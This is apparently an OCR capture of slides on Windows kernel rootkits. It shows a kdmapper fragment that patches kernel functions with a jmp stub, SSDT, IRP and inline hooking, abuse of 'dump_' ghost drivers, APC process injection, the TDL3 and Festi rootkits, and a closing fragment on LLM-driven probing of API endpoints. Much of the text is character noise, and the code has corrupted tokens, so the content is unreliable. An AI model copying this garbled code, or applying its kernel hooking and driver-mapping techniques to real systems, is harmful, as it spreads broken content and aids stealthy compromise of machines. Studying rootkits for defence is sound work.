uint8 t  kernel_function_jmp[] = { 0x48, O0xb8, 0x00, 0x00, Ox00, 0x00, 0x00, 0x00, 0x00,
0x00, Oxff , OxeO };

uinté4_t  kernel_original_function_address = 0;

uint8_t  kernel_original_function_jmp][ (kernel_function_jmp)];

(NtGdiDdDDIReclaimAllocations2)

(! GetNtGdiDdDDIReclaimAllocations2Kernellnfo (device_handle, &kernel_function_ptr,
&kernel_original_function_address))
false ;

(! WriteToReadOnlyMemory(device_handle, kernel_function_ptr,
&kernel_function_address, (kernel_function_  address)))
false ;
}

{

(! GetNtGdiGetCOPPCompatibleOPMInformationinfo (device_h andle, &kernel_function_ptr,
kernel_original_function_jmp))
false ;

memcpykernel_function_jmp + 2, &kernel_function_address,
(kerne |_function_address));

(! WriteToReadOnlyMemory(device_handle, kernel_function_ptr, kernel_function_jmp,

(kernel_function_jmp)))
false ;
}

(!call_void)
FunctionFn = T(__stdcall*)(A...);
auto Function = <FunctionFn>(NtGdiDdDDIReclaimAllocations2 ?
NtGdiDdDDIReclaimAllocations2 : NtGdiGetCOPPCompatibleOPMInformation);

*out_result = Functi on(arguments...);

ittps://github.com/Dark7oveRR/kdmapper/blob/master/kdmapper/intel driver.hjgp

~

E N N N IR P B G A SV ST A S S

S T 1% X " X £ HNEVIIUSS X o § 1A S X L A4 XD X o IS 60K {1y

SSDTR ¢ - 1~ f 454 d » XS J8iivsx s 4854 | | xI"] » * pdtchguardx _ |

P X X PQs T D I xii]s, o4, s ¥ Kk x|l system services L _ table

~ ~ v

Lo e desx 40 A v-|\,,sxx§ JEIag x Xx T | x &, x " S L

N ~

~ X % f ¢ <hash. X _« 4559 ¥7"y § | x17, Tk B 1 148 % {8 §8 1 T ] x{i%sy
Ixs pood JxX L, ¢

v o~ ~

S 4 SFEs L X s O XX D, 8 Ly j X L, K& Xxs "X
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s _ds Yy xx L tos, wgstx ) kg foas ] Ol d e xS 4 FC ], s
tebootn

~ a

intercomponent ~ x *SSDT Inline HoaksSSDT Hooks _ x _ 4 I x 1 x 5 ¢ x 4

L~ 1% youtubert null» « xc4 s 17 x 1.1 . ¥ .4 < _ % 4%  comenunication

b |

. -|><-|sI|:|JZ~VZsXsZ-|,,xa‘,,v|svis¢,_q3“'|

0 x 1 _ dkerkel cheat -~ 1 « A

~ ~v

X T Issax ¥4 oot o4 " Windows: x 1.4 PToX 40X

IRP hook | | X, x _

s % { SBDT HooRsH © " $ {1 L1 1% Ty ~Ixss X { ssx sl Juygs & 1%

x
¢
N

. digpatch: X L %« | T THESL, 1 58 Xiaep 40 L {7 X{iI"™s” L {s 6

v

1 1t + RP major function tabfé >syscall: « x - +« SSDWO+ 1 x4 « " ~ X

Y . %
sood¥ sy 11 %0 ¥ 40 IRPHook 1 4 L stivls x5 ddBident x « XIOCTL
YSSDT Hoak+ 4 *

driverc Hookt : ~  * 4 ! 4 x: HDokt - ~ - % xx".ldfivers ¢ 4 « x 1\

<

T -~ gy, ssCss, opd v osxpldtiverm Y K KXs X LxsX {0 Dy

FA X< A s X d -~ X% 1. 1 Blogging, ~ Yl ~ X1 | ddmp_.... drivers
FL X8 X1y x 4 X, logrtd X%, drivert Irdd | ~ A = 1 8L & «r
Lo o- B 4" K Loy drivers 4 B 4 x € X 4 filgsystentt ! 4 S X b4 o T
mriverr = X X x T xiies 1 8 4 X ¥ {loxTse, fp S L 4sy 1§

O VR I - e VA

You may or may not have spotted 3 drivers in your Windows system that start with the prefix "dump_". These virtual
drivers are special and are often referred to as ghost drivers. These ghost drivers are used to have a valid and
noncorrupted image when a crash happens. When a crash occurs some drivers that need to save data to the disk may
be the drivers that caused the crash, therefore we have a replica of those drivers with the dump_ prefix with the
original driver being without the prefix. If we want to save important data to the disk before a crash the ghost drivers
can be activated and used. The ghost drivers are monitored and managed by the crashdmp.sys driver and in that
driver are some interesting information that | will take up later. In reality, the ghost driver is rarely used but could be
abused and modified to anyone's liking.

s Xy bd o texdens 40 % 4 { HQokt -+~ « 5 v .mdjor functions ¢ d w X T Gu
« ¥y x b 14 .driverrt s L X _~1+Y xI ¥ . indjor function tablet * _ 14 < s
x «|@CTL 1 1uadevice contraft « | |, xs:usx dEverm handle: ~» 4 + { % xsi X
Tt - _dogmp_..... sygx _drivenr s * { dddverx I X «unloadt . | | xsiL_X
TR X L XX S Xl R ¥y sH ox s Do x w8 x ] X7 device control
1411 s 5s . ! ReadFile/WriteFile x « x: «1s{  IRR_MJ WRITE/IRP_MJ _READ

X L% 1oxewx o, {<lugermodeat | -
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SSDT Hook S8DT Hook * « 4 * x.. - % 15 €] { . s¥xd haookingt 1 1 L sX . d*
x X x s g x o] 08 JX Fae v 4ud”_~ «symbolr | SSDT tabft | 1 xx "y s

x © % « DRIVER_OBJECTY 1 _ ¥ + 1 RP major function tabte - « | x 2x |

~ A~ ~ ~

®bReferenceObjectByName_sl. x _ x> H{ ~ driver

PDRIVER_OBJECT general_helpers::GetDriverObjectADD(PUNICODE_STRING DriverName) {
PDRIVER_OBJIECT DriverObject = NULL;
if (INT_SUCCESS(ObReferenceObjectByName(DriverName, 0BJ_CASE_INSENSITIVE, NULL, @,
*IoDriverObjectType, KernelMode, NULL, (PVOID*)&riverObject)) || DriverObject == NULL) {
return NULL;
.
T

return DriverObject;

¥
T 1 1L ssystem sevicest _ x _ 47 xs., HBokt ¢ «x " _sd XL x s <{., @s

c Fov vXsie X ntdl i ) X k4 P WI32APIK S « 4 il ¢ Wsérmode
L b d A TIRAE T A xsop xs X g LB o 1 ey 80 1 d 8 s
ddverrt L symbolic linkt - ~ ¢ CreateFileX _sl. x: . ¢ driverx © 3 ¥ *handle

L _symbolic linkg = «« x «{ T Ix Ts (1 st 4 X x ko XIdsdsddl. !X

symbolicrt ¢ ¢x "1 s 44 - v x s ddmpdriverst - -~ 'x_ _11_ driver
X8 s xdtivemms 4T 1 %, X% 43 4 fnk

; IICOL inkName; // [rsp+56h] [rbp-18h] BYREF
PDEVICE_OBJECT DeviceObject; // [rsp+80h] [rbp+18h] BYREF
DeviceObject

(&estinationString, L"

t1InitUnicodeSt (&SymbolicLinkName, L"
qword_140003010 ;
result = IoCrea B ; OX u, © , &DeviceObject);
if ( !result )

{
DriverObject->DriveruUnload
DriverObject->MajorFunction

= (PDRIVER_UNLOAD)sub_140001490;

[6] = (PDRIVER_DISPATCH)&sub_140001460;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceControlIoctlHandler;
DriverObject- jorFunction[2] = (PDRIVER_DISPATCH)&sub_140001460;

result = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);

L _devicet t 1, A19nld _ 1 -WIin32APK _ _ - _dfivert handle: ¥ _.s1 +« L

(
]
]

¢ drivenit L _IRP_MJ_READL X « XX87 pood X ¥ XIXX” 5 1 S | x © ~diver

s .t 4. 1585 +- _ drivert . _handlet + . ReadFiles L x _ % _ g x ”

~ v ~

IOCTte - ~¥ « 1 IRB¥s' « device object - L * O _x X Xdispatch. } x93 _ ~» x s

>

TEx A dx o x sX P ], 1X e s ] x popsd X ] WX

IRPIE _ x4 4SSB _ x 44 X s, 7 He <105 b vAxD AYXs v D7 4 {6

XX, 3 . ke S 17« irlfer-component communication X ’ajor function table

poe TTERS XX ULx s L xsE x L x5 Xox e X H L sf o 1l6gs - § X

x

_SSDT Hookd @ " 4 k-« _ixx"4s4._Fs« < % _IRP Hookirgj r ¥~ * 0. *J* @ x .

teudpoline hook/inline hook
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1 .48k F o 1 xI.. PdbtectionSolution | ¥ ~ % 4% us{toyas pyixxl T 0 {07
DX i 4k, XYY o4 x Windows: X ]~ { L mootkit-s 1« 4 XS, x X U]

X s X o X DX X X TR SF e i F A TH AR D ox X

DvS v, T X 1Y w Py ” il o, XXX x LT ¥ L 9X e ssx Lo

~ ~ ~x o~ ~

Qoutubert s 4 44 L Ise 4 X4 b A« AT s % 4 s

« »_7 1 Process Injectiom - , | x X .

Jdes 35 4, 17K bt 4 Texdans x {00 Xds  xAP@G 1 " X«

x

ool e d A S A A xse s Ll fss ¥y sTxE Lo x g xd s
P4 Lxsiixx APC 1 | ¥ ® 4 X "ox " IWINAPI functiong ! 1« X

oM TR T HES s, X X X 8 b Y X C RSO S
Y4140 s:

Sy s kxd v d XXX usermodeat r 4 44<4sL su i _Process IB ¢ Y | w

kernelt® ! 1+« *x 4 0% sx 1 x04d {( S inagegt L + _ S .~ ¢, % s

bR {L.sx % x  HPROCESS _ 1 _1."%*{ X APIs

X d T LS o i x B AL s Ty

[t

X « X1 XA X4
v s X K A ot ol Te T 0 s T XL T e Y

Fd o1 tees SO I st 5 X L eSSk Lo L Brivent s X4 o 4 x oL a1

P ox ok 141 "%XX" X8 s X

Fdo X oo 4 A4 xR s structure s X o« WS S oD o x o, s o 4 x| L

G1 Stf2 S5NAGSNE ad tI N YVSUISNEX U NBSIk&md F Fi SN K
DX v 48 S8 7 x {18 sox T xiSosx L Ldrivent x S .~ x ABHNR y I ¢

L b x Btructurert x ¢ Xpd* 10 L7 st G TS XS [T L1 T0 0 oy X o

>

S« .8 x 4 <, Xstructurert s I, x A& 4s . ddivert s .~ & x

~ ~

XL

oo s U N T X 0SS X see L X %driveme 4 5 XSy x l§ s

~

Ll x 8 xosdd SIXx, o x X T x OXTs4 X o X] 4 4 o5 L X 1«5 XsBucture

~ a ~

CXop x o X s ] s x4 xSy | ox T struckurerg X - X XD s

L 4 x ¥ 4 instafices X X 3509 1S 4*s 48 Y X a KTSH L, Toa,sxlosd ] LxI X

JOX L S structurest ¢ oo~ o XXX drivent 4 Isx o X
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Y F + Prbcess Injectioi . _ - _ S S1I4 L s

Process “MyProcess.exe”, PID = 43435

-
o o pa e pe

Iterate over EPROCESS list with

MyProcess.exe

ImageName = “MyProcess.exe”

Use KeStackAttachProcess() or

XXX*;

g nmnn

<

"My
Parameters are here after this
string";

similar function to use an APC to run in

MyProcess.exe/PID=43435’s context

Scan for “My Parameters are after...” to

find the parameters from the usermode

process.

g
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No Starch R¥ss - ~Rootkits And Bootkits = X 4 1 « ~

B R T S SN N IR SR U Bk U DU BN ER P R B NN B

~ ~ A~

DY s Sp iU L X HS e E X T D LSK w v AT . X

~

® 1~ ~ +s_+_* 1inter-component communication 4 ss ~ {1 _ s

~

~ « +.,  _ ND Starch Press _Rootkits And Bootkits | | sS4 * 1T « ¥ X x « ¥ xl s

~

FoXOlTsisxx se Sk T s ko, 4 Dby X X I” Obbotkitst | rootkitst - ox X X« ¥ x|

~

SO XS oKl X, TN X s KT

TDL3

1 8® x e oop TxOSE NI x T Xx KX 10 S % " o { FDSS <TDL
LS, XX Ssse @k Rs ek $X Cx "isy {3 _ SV 4PDL3 _ s 4 Xsi{”

P Is ], R >Zst,, L S ] x.|vJ§sv pe XX L XS x,_Ms> 9 ¢ J % AFV'IX” X. Zv 14X 4 .

~

ron L = X

Tosi s ida < dm
] . AZV,,XJ xsbsxxb%,y: 5 % | ) CX Vs vsp] 1 Xx " X””::X,A'va" g'HL
ST X L X XSO Do T F e Do ST X X" X, 0K fss s s

F1o XA s A:VXX'I ¢ 1 - XL Bl ox :_|s,, Ivs{ FDL3 « C_IXX":CVJ . S &: LY X I s

A’ S S q*s s 4 s@ XX { . ¥xhx% ¥ |RP hook § X

Miniport Drivert « s | x{_18s_ .7*x 1Y & xdriver stack® . J.x sx . { %

M B« JWindows: 1 ~ T %% T ".xx[¥river stacht

11« .~ _x1 1., xstordge deviceg { x . ¥ 4 s A« x| filesystem drivers |

~ ~

f\V]xA\I {s s".|>Fs:|§.|_|"s.|~

~ v o~

driverst -~ - _ filésystem driverg _~ * x 1 ~:S~¢ ¥ » ¥ | Storage class drivers{
X " dtdrafje portdriverg8 1 . w15 40 |

hardwaret® ~ 1 Kostspecific storage drivers 41 * ~» x 1, _ Storage port drivers |

P11 L lesx XX, driverst 11 ¢« L ~L_ X speécific storage drivers

b x X, X §5. L X+« f™s sx x ] s
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¥ 41>*s _dd1 _ <X *miniportdrivem handle¥ 1 _"sx 1. H Thookingt { 1 L s
s + . symbolic linkt - ~ ¢ stdrage class driver . _DEVICE_OBJECHandlagt - ¥ _
@dol ~ _disRhardt v -~ , . _ € DX3ON2A\PhysicalDriveXX | |
storage Input/Outputs s . « Q-4 1 7 s % x .18 v » Idrivergt | 1 _sul 4 &4
1 4.1 driver_ 1 | l.® »> DEVICE_OBJECT 1 * -NextDevicel ~ 15 1

>

x devicat - -~ 1 , XloAttachDeviceToDeviceStack. * _ x* {1 xstackt , 1 , X s 1

< < v

s . X" X storage port drivem + 1 + - devicat s {1 stdckt ~ x . Heviegt sthcks

B
o X e Al L tsds, DoxXX KIS X s s XX s T, 08 T %]
oS Ad ) TS p Al K ldfiverst s 4 18 X F R s ] L
Syntax
@ I copy

typedef struct _DEVICE_OBJECT {

CSHORT Type;
USHORT Size;
LONG ReferenceCount;

struct _DRIVER_OBJECT *DriverObject;
struct _DEVICE_OBJECT *NextDevice;
struct _DEVICE_OBJECT *AttachedDevice;

struct _IRP *CurrentIrp;
PIO_TIMER Timer;
ULONG Flags;
ULONG Characteristics;
_ volatile PVPB Vpb;
PVOID DeviceExtension;
DEVICE_TYPE DeviceType;
CCHAR StackSize;
union {
LIST_ENTRY ListEntry;
WAIT_CONTEXT_BLOCK Wcb;
} Queue;
ULONG AlignmentRequirement;
KDEVICE_QUEUE DeviceQueue;
KDPC Dpc;
ULONG ActiveThreadCount;
PSECURITY_DESCRIPTOR SecurityDescriptor;
KEVENT Devicelock;
USHORT SectorSize;
LUSHORT Sparel;
struct _DEVOB]_EXTENSION *DeviceObjectExtension;
PVOID Reserved;

} DEVICE_OBJECT, *PDEVICE_OBJECT;

$¥lsxiy «85% . x «% L {DEVICE OBJECT- *x « {1 : gtackt _ x X! _ ¥4 5 ] ®

v

® | x . [RP major function tabte . - storage port drivet . _DRVER_OBJEET

1% P K2 . T X 4L XYL H Y PRIVER_OBJECT 1 4 4 X hooking® 4 4 o s
storagert . _device objecft . 1 * « ~ddverrtx " { L . 7 X

~ ~ v

-|\Z:x|_sx|_.|>|_-|>.‘., S

~

T A« st x4 | hookingx " w1 XI*14x” xdrifes objectt L _ 1 * s pdrt driver
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Lo- X X xxio ¥ S35 x| Ju1& « X 4Drivert - x L X J st . 2 X .

~ v~ v o~

D x4 g7 s P x  x X oo P major function tabfé : x 4 . X X s s

~ A >

L _Diskt . x ~* _ Hidden Filesystem _ _d.!*x1§ « 4 "x] 1 X7 s &¢ § * ssx], ( %

SO N TN AT e T s sE. T SR X33, 1T s

~ v v v

Torostde k4888t 4 s]_ L _ filesystem:

« O Xosxx§ L, x J@ . X 1. X 4 Xsiorage port drivext S {1 X S {1 ¥4 S S S

~ >

S oAV W $X T ANERY Dl S

4
ANV o~ v ~

COTXT XX XN, X, o

~ o~ > ~

d 1L~

su isfs. o SIx 4Ussx | hdoki 1, . " XE B _ XSWSss_ {Ys T

A > v ~ ~ o~

X S xS X, xsT Diae X K SLuX S X S L s Is, s XL X« x "%

a ~ A > Vo~

@7 X W F X SO T 4% X T xS, ] e W XSTX s X

1~ » X usermodeat © x 7 4 x Isp_ Ay 4l Bl X ox sI3xo4s X K Osso € x ¥
~ , . CreateFile/ReadFile/WriteFilex Ttustommade: * ¢ X _ _driverrt > * 1 ¥ § 85 «
+ _ . dsymbolic linkosymbolic link« 1 + + X «device object! ~ Usermodet @ x 7 i X X+

driver objectt * " ‘¥ X xsymbolic link- « * 1 4 Lhgxstring: ~ 4404 4 + 5w X0 XX
b6« ‘drivér® . _device objecit x

S LSS F g s 1S Kx SO o TBLS .~ T % X S FIys o xsef { o €

Fl oA Y T s x> s s s o x TR X XS,

n o~ ~

A R T b x s
(A) No Rootkit (B) Normal Rootkit (C) TDL3 Rootkit
Driver Dispatch Table Driver Dispatch Table Driver Dispatch Table
IRP_MJ_CREATE IRP_MJ_CREATE IRP_MJ_CREATE
IRP_MJ_READ IRP_MJ_READ IRP_MJ_READ
IRP_MJ_WRITE IRP_MJ_WRITE IRP_MJ_WRITE

» MyCreate() » MyCreate()
> MyRead() » MyRead()
e

> Redirector Stub |

L
- .
II HookMyWrite() Main handler
rootkit rootkit
ttps://www.tophertimzen.com/resources/cs407/slides/week06 -®botkits.html Y 5]
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<~ © 9N E WX x X Usermode/Kernelmode Sockets, x 4 4 - 395~ %

W X WX ] XS, XX K|, X 0%, Pv § X 4wl XX s] s xs X | X
. < .

~ A ~ > ~ o~ ~ a ~

® s ( AlFKernel Rootkitt x _ festis « ¢ ¥ * 5 % |s ¢sK] x { X

oo 5" w ik xso S Mg X x f g lxpa g 4, KX A L gL x| X

A Tvoa v o~ A >

> ~ ~ v o~

”

N

1x_-bitcoin mining, DDoS x ¥3] 1 % . 1 ¢ d ! X d "I 5xd 1+ SPluginsr - X -«

szjg“CE’j&]Z”\\le.‘“,_]q%,,]i\],,i « S8 X s,_‘,:4\x::'|\

- A~ v v

Yestie © « € X ¥ R 4 4TI K T s, A vr 3o, sl X w ST

Lo x e xTx isd xgixsldns L ™Mo 1 c¥Y L, X3 oS0 o 1dl ~ -~
S X LIsX 4 | KT ¥E SNSRI, X, X4 g6 s x ]
Tt DX e . XIVXSi_‘\f X 4 Il Ixs, rd@ s T " Zxxv”LJA: Lo x s s S, "% 1 « 1] ~ ~

Yoo S 2B T X X ¥4 s TTixx "] 8" s k¥l sS4 * Skarnielmode

S OxF X DX L ITXx - 498 X« @8 Mémory Manager
TP XX, wsB s 417,129 - f4 - Nétwork Sockets |

« J]s & X X, XoS X L ox o
v *Q&BE 1 . s W S x X1 L X s xS 8 X{s. |, D&C Protocol Parser
A X DX ) ox s
Lo~ s X 0s s X X xplugingt L F oL S e~ ¥% _ PMugin Manager

_.|x\|_,,-|J_|_As<:|xx|_x

¥oooxss” X 40N 1T 49 . e ™E L x ] o] IS i

Win32/Festi
Win32/Festi / Win32/Festi
X C&C Protocol
Plugin Manager Network Socket
Pasrser

Win32/Festi
Memory Manager

ttps://web-assets.esetstatic.com/wls/200x/kirgf-spamfesti-botnet-analysigpdf Y 8
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BT 0SS S L I X XTI e v 1SS | . x| s X

L X XS] s OBGE - S A4X X Js L F.xss.Sx”driver

x Tl 34 s s 5. < DX o gsermodet s " x kernelmodet socketss 1 " xx " | .

® 4. XFHT drivent ¢ X L4

Drivers~ | _._v X Driver Stack ¥+ {1 iSkorage Devices x * 1 1 Driver Stack x _«Jx {1 X
FXYL YT ARl s sy L x] X PB4l L E Ly DB e A e s TS
h 17 xp ddw s, x> _ pmttiverez b ! 7 s oo A1 4w, "1 4 s

~ ~ v v~ ~

® 44 A $H S s Xsx s, 13 . 11 fuv,s |« 4 {Windowsd 1 ¢

Ltor o 8w x X exe X w4~ drivers® -~ 4 9 X x 11 festis 1 ¢

Y o x4 1 7 o0 ™% X Hriver stache

LX o« x fx.x X xI\Devied\Tepr {1 X [ -y XSOx 4 X, X X5 Driver v
P44 ostackex D 4D TF Fe oo WOPL X« X 1ix..x %. % X\\Devica\Udprt TCP
P AT I L e st

-« .~ - 74! IbAttachDeviceToDeviceStack _ 1 x « x  § * - + 1y Dhiver ™

XUV AS T X417 28 ts

~ ~

X ¥« X LoXhgndlex v X o« ¥ 4w % {owvest level driver -~ _ 4 1 X1 4 Febtd
» A7 x4 AWinddws - 1 . c ¢ D s xo o x o T Ts. | BwCreateFile(yts 1 1 dBEver
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Identify Potentially Uncover Endpoints
." A Vulnerable Endpoints Dependency
/ \’ ...... : Use LLMs to identify the endpoints ~ Use LLMs to identified the
l o with input parameters, uniquely dependency relationship between
e identifying a user or an object in each endpoint. Understanding .
E I the system. These endpoints and these relationships is essential for :
parameters are our main targets. building execution paths to each
INITIATIVE targeted endpoint.

Generate Execution

Create Test Scripts Execute and Analyze
Paths and Plan P Y
Construct a dependency tree for Use LLMs to create test cases using ~ Execute every test case against the
each target endpoint and generate  Bash script. Each test case is one API server and use LLMs to help
all the execution paths to this execution path that consists of analyze the responses.
target endpoint. one or multiple API calls.
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GET /books/vi
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